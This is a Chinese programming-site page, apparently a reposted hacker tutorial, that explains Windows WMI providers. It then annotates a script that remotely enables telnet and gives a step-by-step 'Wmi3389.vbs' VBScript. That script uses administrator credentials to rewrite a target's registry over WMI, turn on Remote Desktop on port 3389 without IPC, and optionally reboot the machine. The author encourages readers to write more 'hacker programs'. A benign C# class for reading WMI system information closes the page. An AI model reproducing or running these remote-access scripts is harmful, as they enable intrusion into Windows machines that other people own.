當前位置:編程學習大全網 - 編程語言 - 配置的問題

配置的問題

WMI 最初於1998年作為壹個附加組件與 Windows NT 4.0 Service Pack 4 壹起發行,是內置在Windows 2000、 Windows XP和Windows Server 2003 系列操作系統中核心的管理支持技術。基於由 Distributed Management Task Force (DMTF) 所監督的業界標準,WMI是壹種規範和基礎結構,通過它可以訪問、配置、管理和監視幾乎所有的Windows資源。大多用戶習慣於使用眾多的圖形化管理工具來管理Windows資源,在WMI之前這些工具都是通過 Win32應用程序編程接口(Application ProgrammingInterfaces,API)來訪問和管理Windows資源的。只要妳熟悉系統編程妳就知道API有多麽重要。但是大多數腳本語言都不能直接調用Win32 API,WMI的出現使得系統管理員可以通過壹種簡便的方法即利用常見的腳本語言實現常用的系統管理任務。

利用WMI需要和腳本如WSH和VBScript結合起來,可以實現的功能大家可以看微軟的MSDN文檔。

在編寫我們自己的腳本之前,我們需要對WMI的體系結構有個基本的了解。如圖壹:(1.gif)

在WMI 體系結構中我們最需要關心的就是WMI提供程序,WMI提供程序在WMI和托管資源之間扮演著中間方的角色。提供程序代表使用者應用程序和腳本從WMI托管資源請求信息,並發送指令到WMI托管資源。下面是我們利用WMI編程經常要用到的WMI內置提供程序清單,以供編程參考。

1.Active Directory提供程序

鏈接庫文件:dsprov.dll

命名空間:root\directory\ldap

作用:將Active Directory 對象映射到 WMI。

2.事件日誌提供程序

鏈接庫文件:ntevt.dll

命名空間:root\cimv2

作用:管理 Windows 事件日誌,例如,讀取、備份、清除、復制、刪除、監視、重命名、壓縮、解壓縮和更改事件日誌設置。

3.註冊表提供程序

鏈接庫文件:stdprov.dll

命名空間:root\default

作用:讀取、寫入、枚舉、監視、創建、刪除註冊表項和值。

4.Win32 提供程序

鏈接庫文件:cimwin32.dll

命名空間:root\cimv2

作用:提供關於計算機、磁盤、外圍設備、文件、文件夾、文件系統、網絡組件、操作系統、打印機、進程、安全性、服務、***享、SAM 用戶及組,以及更多資源的信息。

5.Windows 安裝程序提供程序

鏈接庫文件:msiprov.dll

命名空間:root\cimv2

作用:提供對已安裝軟件信息的訪問。

從上面可以看出在WMI中類(即內置提供程序)被分組到命名空間中,命名空間可以看成是壹個組。比如,命名空間 root\cimv2 包括大部分表示通常與計算機和操作系統相關聯的資源的類。在使用類的時候要說明類所在的命名空間。類由屬性和方法構成。這是可視化編程中的兩個重要的概念。屬性描述的是對象的狀態,方法是對象可以執行的操作。

理論知識學起來很枯燥,下面讓我們邊分析高手的腳本源碼邊進行理論知識的鞏固吧。

二:解析RTCS.VBS主要代碼

=====================================================================================

有時候閱讀別人的源碼未嘗不是壹個好而且快捷的辦法,下面就讓我們來認真學習zzzEVAzzz編寫的壹個可以遠程開啟telnet服務的腳本RTCS.VBS。

該腳本可以直接訪問目標的WMI,不依賴於目標的ipc$,實現遠程開啟/關閉目標telnet服務,為了方便大家學習我抽出了最主要的代碼,具體分析如下:

set objlocator=createobject("wbemscripting.swbemlocator")

//創建WbemScripting.SwbemLocator對象(腳本接口)。

//可以看出WMI其實就是把Com組件WbemScripting.SWbemLocator封裝起來罷了。

set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)

//通過ConnectServer函數請求連接到WMI控件服務上,root/default為命名空間。

set objinstance=objswbemservices.get("stdregprov")

//建立訪問註冊表的實例。

set objmethod=objinstance.methods_("SetDWORDvalue")

//建立可以更改註冊表鍵值的方法。

set objinparam=objmethod.inparameters.spawninstance_()

//MethodData.InParameters用於獲取或設置方法的輸入參數。這裏用spawninstance方法為它建立壹個子實例,下面就可以將參數值賦予這個對象的屬性。

objinparam.hdefkey=&h80000002

//hdefkey表示根鍵,根鍵的十六制值如下:

//HKEY_CLASSES_ROOT (&H80000000)

//HKEY_CURRENT_USER (&H80000001)

//HKEY_LOCAL_MACHINE (&H80000002)

//HKEY_USERS (&H80000003)

//HKEY_CURRENT_CONFIG (&H80000005)

objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"

//ssubkeyname表示子鍵。

objinparam.svaluename="NTLM"

//svaluename表示屬性名。

objinparam.uvalue=ntlm

//uvalue表示鍵值。

set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)

//利用execmethod執行方法,這裏才真正改寫了註冊表。

//下面是修改telnet服務的TelnetPort值,原理同上。

objinparam.svaluename="TelnetPort"

objinparam.uvalue=port

set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)

修改telnet的註冊表部分就完成了,將NTLM和TelnetPort進行了修改,要是對方的telnet服務沒有開啟呢?下面就需要根據telnet的具體情況,來啟動telnet服務,繼續看代碼。

//首先查詢遠程主機上tlntsvr的啟動方式。

set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)

//win32_service類在root\cimv2命名空間中,作用沒忘記吧?快看基礎知識呵。

set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")

//註意:查詢都是通過枚舉來實現的。

for each objinstance in colinstances

if objinstance.startmode="Disabled" then

set objmethod=objinstance.methods_("changestartmode")

//創建changestartmode方法來改變tlntsvr的啟動方式。

set objinparam=objmethod.inparameters.spawninstance_()

objinparam.startmode="Manual"

//將啟動方式改為手動方式。

set objoutparam=objinstance.execmethod_("changestartmode",objinparam)

end if

//下面啟動我們的telnet服務。這裏zzzEVAzzz的思路好象有點不對,也不知道是不是他的疏忽,我個人認為當telnet服務已經啟動時不應該用stopservice方法停止服務。

if objinstance.started=true then

intstatus=objinstance.stopservice()

//stopservice是WMI中用於停止服務實例的服務的方法。

else

intstatus=objinstance.startservice()

end if

next

三:手把手教妳編寫WMI版本的ROTS.vbs來開啟3389

=====================================================================================

zzzVEAzzz 的腳本就分析到這裏吧,怎麽樣?很EASY吧?!我相信大家現在壹定蠢蠢欲動了?:)好,壹起來寫壹個什麽程序呢?ROTS.vbs我想大家壹定都用過吧?什麽東東啊?我……砸!大家應該知道這個ROTS是有它的使用條件的,不僅要有管理員帳號,還要允許進行ipc連接,在這個到處都是墻的年代,ipc 早就不實用了,而且ROTS.vbs早就被查殺了,那該怎麽辦?當然是自己動手了。能不能實現ROTS的壹樣的遠程開啟3389的功能而不受ipc的限制呢?答案自從我寫了這篇文章後成為肯定的,哈哈,吹吹了。

當然我們也是要求系統至少是2000server及以上的,最近看到有個軟件可以給2000pro開3389,由於比較忙,也沒怎麽去理它,這裏我們暫且不說它,知道了原理壹樣好辦。

開啟3389有個註冊表導入的方法,其它壹些軟件的開法,我想也大多是通過修改註冊表實現的。這個方法需要導入如下的註冊表:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]

"Enabled"="0"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]

"ShutdownWithoutLogon"="0"

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]

"EnableAdminTSRemote"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]

"TSEnabled"=dword:00000001

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]

"Start"=dword:00000002

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]

"Start"=dword:00000002

[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]

"Hotkey"="1"

原理知道了就沒什麽難的了,先理清我們的思路,我們的主要任務是更改註冊表裏的鍵值。首先是創建WMI對象,然後是連接到遠程WMI服務器,最後修改註冊表鍵值。

部分主要代碼如下(完整的代碼和詳細的註釋請看附帶的軟件包)

on error resume next

//防止出現意外。

set outstreem=wscript.stdout

if (lcase(right(wscript.fullname,11))="wscript.exe") then

set objShell=wscript.createObject("wscript.shell")

objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))

//cmd後帶/K參數表示執行字符串指定的命令。

wscript.quit

end if

//進行簡單的檢查。

if wscript.arguments.count<3 then

usage()

wscript.echo "Not enough parameters."

wscript.quit

end if

//取出參數,分別賦予幾個變量。

ipaddress=wscript.arguments(0)

username=wscript.arguments(1)

password=wscript.arguments(2)

option=wscript.arguments(3)

usage()

下面是核心代碼,也是實現遠程修改註冊表的功能,我這裏給出另外壹種實現的方式,對照前面的代碼很容易理解,我就只作簡單的解釋了。詳細情況可以參閱MSDN文檔中關於StdRegProv類的說明。

const HKEY_LOCAL_MACHINE = &H80000002

const HKEY_USERS=&H80000003

strComputer = ipaddress

//獲取wmi對象

Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_

strComputer & "\root\default:StdRegProv")

strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"

strValueName = "Enabled"

strValue=0

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

strValueName = "ShutdownWithoutLogon"

strValue=0

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SOFTWARE\Policies\Microsoft\Windows\Installer"

strValueName = "EnableAdminTSRemote"

strValue=1

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"

strValueName = "TSEnabled"

strValue=1

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SYSTEM\CurrentControlSet\Services\TermDD"

strValueName = "Start"

strValue=2

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = "SYSTEM\CurrentControlSet\Services\TermService"

strValueName = "Start"

strValue=2

oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue

strKeyPath = ".DEFAULT\Keyboard Layout\Toggle"

strValueName = "Hotkey"

strValue=1

oReg.SetDWORDValue HKEY_USERS,strKeyPath,strValueName,strValue

//下面實現重啟遠程機器

if option="/r" then

outstreem.write "Now, rebooting target...."

strwmiquery="select * from win32_operatingsystem where primary='true'"

set colinstances=objswbemservices.execquery(strwmiquery)

for each objinstance in colinstances

objinstance.win32shutdown(2)

end if

outstreem.write "Ok, rebooted the target."

//簡單的用法說明的函數。

function usage()

wscript.echo string(60,"=")

wscript.echo "Wmi3389 v1.0.0"

wscript.echo "No ipc Open 3389, code written by pye."

wscript.echo "Welcome to visite www.coon.cn or Mail to grandh4408@yahoo.com.cn"

wscript.echo "Usage:"

wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [/r]"

wscript.echo "/r reboot the target this is optional"

wscript.echo "It use WMI to Open 3389 of target server."

wscript.echo string(60,"=")&vbcrlf

end function

將上面的代碼復制帶記事本裏,保存為Wmi3389.vbs。然後在CMD裏執行:

cscript Wmi3389.vbs ipaddress administrator password [/r]

看看是不是和ROTS.vbs有壹樣的效果啊?大家趕快實踐實踐吧。

四:最後的嘮叨

=====================================================================================

大家可以看出WMI的功能是很強大的,這裏要感謝MicroSoft了,它是永遠都不會讓我們失望的。WMI對象允許通過VB,VBA,WSH, VBScript, JScript,ASP,或是支持自動對象的其它環境,對WMI進行完全訪問。在參考查詢體系中加入 WMI Scripting V1.1 Library ,則Visual Basic或是VBA方案就可以訪問這些對象了。支持ActiveX程序的操作平臺可以通過對象類的代號,或是類的名稱創建這些對象,這些對象的前綴是 WbemScripting,如 WbemScripting.SwbemLocator。所以大家有興趣的完全可以利用VB,WSH,VBScript, JScript,ASP等編寫更多的利用WMI的黑客程序。

----------------------------------------------------

最後給妳附上壹段程序

/* **********************************************

* Rainsoft Development Library for Microsoft.NET

*

* Copyright (c) 2004,2005 RainTrail Studio.China

* All Rigths Reserved!

* Author: Q.yuhen (qyuhen@hotmail.com)

********************************************** */

using System;

using System.Management;

using System.Collections;

using System.Collections.Specialized;

using System.Text;

namespace Rainsoft.Management

{

#region WMIPath

public enum WMIPath

{

// 硬件

Win32_Processor, // CPU 處理器

Win32_PhysicalMemory, // 物理內存條

Win32_Keyboard, // 鍵盤

Win32_PointingDevice, // 點輸入設備,包括鼠標。

Win32_FloppyDrive, // 軟盤驅動器

Win32_DiskDrive, // 硬盤驅動器

Win32_CDROMDrive, // 光盤驅動器

Win32_BaseBoard, // 主板

Win32_BIOS, // BIOS 芯片

Win32_ParallelPort, // 並口

Win32_SerialPort, // 串口

Win32_SerialPortConfiguration, // 串口配置

Win32_SoundDevice, // 多媒體設置,壹般指聲卡。

Win32_SystemSlot, // 主板插槽 (ISA & PCI & AGP)

Win32_USBController, // USB 控制器

Win32_NetworkAdapter, // 網絡適配器

Win32_NetworkAdapterConfiguration, // 網絡適配器設置

Win32_Printer, // 打印機

Win32_PrinterConfiguration, // 打印機設置

Win32_PrintJob, // 打印機任務

Win32_TCPIPPrinterPort, // 打印機端口

Win32_POTSModem, // MODEM

Win32_POTSModemToSerialPort, // MODEM 端口

Win32_DesktopMonitor, // 顯示器

Win32_DisplayConfiguration, // 顯卡

Win32_DisplayControllerConfiguration, // 顯卡設置

Win32_VideoController, // 顯卡細節。

Win32_VideoSettings, // 顯卡支持的顯示模式。

// 操作系統

Win32_TimeZone, // 時區

Win32_SystemDriver, // 驅動程序

Win32_DiskPartition, // 磁盤分區

Win32_LogicalDisk, // 邏輯磁盤

Win32_LogicalDiskToPartition, // 邏輯磁盤所在分區及始末位置。

Win32_LogicalMemoryConfiguration, // 邏輯內存配置

Win32_PageFile, // 系統頁文件信息

Win32_PageFileSetting, // 頁文件設置

Win32_BootConfiguration, // 系統啟動配置

Win32_ComputerSystem, // 計算機信息簡要

Win32_OperatingSystem, // 操作系統信息

Win32_StartupCommand, // 系統自動啟動程序

Win32_Service, // 系統安裝的服務

Win32_Group, // 系統管理組

Win32_GroupUser, // 系統組帳號

Win32_UserAccount, // 用戶帳號

Win32_Process, // 系統進程

Win32_Thread, // 系統線程

Win32_Share, // ***享

Win32_NetworkClient, // 已安裝的網絡客戶端

Win32_NetworkProtocol, // 已安裝的網絡協議

}

#endregion

/// <summary>

/// 獲取系統信息

/// </summary>

/// <example>

/// <code>

/// WMI w = new WMI(WMIPath.Win32_NetworkAdapterConfiguration);

/// for (int i = 0; i < w.Count; i ++)

/// {

/// if ((bool)w[i, "IPEnabled"])

/// {

/// Console.WriteLine("Caption:{0}", w[i, "Caption"]);

/// Console.WriteLine("MAC Address:{0}", w[i, "MACAddress"]);

/// }

/// }

/// </code>

/// </example>

public sealed class WMI

{

private ArrayList mocs;

private StringDictionary names; // 用來存儲屬性名,便於忽略大小寫查詢正確名稱。

/// <summary>

/// 信息集合數量

/// </summary>

public int Count

{

get { return mocs.Count; }

}

/// <summary>

/// 獲取指定屬性值,註意某些結果可能是數組。

/// </summary>

public object this[int index, string propertyName]

{

get

{

try

{

string trueName = names[propertyName.Trim()]; // 以此可不區分大小寫獲得正確的屬性名稱。

Hashtable h = (Hashtable)mocs[index];

return h[trueName];

}

catch

{

return null;

}

}

}

/// <summary>

/// 返回所有屬性名稱。

/// </summary>

/// <param name="index"></param>

/// <returns></returns>

public string[] PropertyNames(int index)

{

try

{

Hashtable h = (Hashtable)mocs[index];

string[] result = new string[h.Keys.Count];

h.Keys.CopyTo(result, 0);

Array.Sort(result);

return result;

}

catch

{

return null;

}

}

/// <summary>

/// 返回測試信息。

/// </summary>

/// <returns></returns>

public string Test()

{

try

{

StringBuilder result = new StringBuilder(1000);

for (int i = 0; i < Count; i++)

{

int j = 0;

foreach(string s in PropertyNames(i))

{

result.Append(string.Format("{0}:{1}={2}\n", ++j, s, this[i, s]));

if (this[i, s] is Array)

{

Array v1 = this[i, s] as Array;

for (int x = 0; x < v1.Length; x++)

{

result.Append("\t" + v1.GetValue(x) + "\n");

}

}

}

result.Append("======WMI=======\n");

}

return result.ToString();

}

catch

{

return string.Empty;

}

}

/// <summary>

/// 構造函數

/// </summary>

/// <param name="path"></param>

public WMI(string path)

{

names = new StringDictionary();

mocs = new ArrayList();

try

{

ManagementClass cimobject = new ManagementClass(path);

ManagementObjectCollection moc = cimobject.GetInstances();

bool ok = false;

foreach(ManagementObject mo in moc)

{

Hashtable o = new Hashtable();

mocs.Add(o);

foreach (PropertyData p in mo.Properties)

{

o.Add(p.Name, p.Value);

if (!ok) names.Add(p.Name, p.Name);

}

ok = true;

mo.Dispose();

}

moc.Dispose();

}

catch(Exception e)

{

throw new Exception(e.Message);

}

}

/// <summary>

/// 構造函數

/// </summary>

/// <param name="path"></param>

public WMI(WMIPath path): this(path.ToString())

  • 上一篇:大學生競賽有哪些
  • 下一篇:AIM-54遠程空空導彈的型號改進
  • copyright 2024編程學習大全網